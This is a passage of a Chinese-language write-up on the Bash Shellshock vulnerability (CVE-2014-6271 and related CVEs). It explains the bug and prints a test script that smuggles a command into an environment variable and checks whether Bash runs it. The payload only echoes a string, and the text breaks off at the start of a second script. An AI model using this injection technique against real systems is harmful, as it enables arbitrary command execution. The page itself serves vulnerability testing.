1.漏洞简介
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。这个漏洞导致了CVE-2014-6271,CVE-2014-7169,CVE-2014-6277,CVE-2014-6278,CVE-2014-7186,CVE-2014-7187六个CVE的爆发。
2.POC验证
2.1 CVE 2014-6271
最开始的shell测试脚本如下,主要的代码是第五行,它先使用env命令将() { :;}; echo vulnerable
赋值给环境变量x,随后启动一个新的bash进程并执行命令echo test
,并将错误信息重定向到null,再查找有无’vulnerable’这个字符串输出,如果输出成功则表示存在漏洞:
#!/bin/bash
EXITCODE=0
# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' bash -c "echo test" 2>/dev/null | grep 'vulnerable' | wc -l)
echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
echo -e "\033[91mVULNERABLE\033[39m"
EXITCODE=$((EXITCODE+1))
else
echo -e "\033[92mnot vulnerable\033[39m"
fi
执行结果如下,由于在新启动的bash进程会继承父进程的环境变量,所以x也被继承,导致了函数后面的echo vulnerable
被执行:
2.2 CVE 2014-7169
打过第一次官网补丁之后还是能够绕过,脚本如下:
#!/bin/bash
EXITCODE=0
# CVE-2014-7169
CVE20147169=$(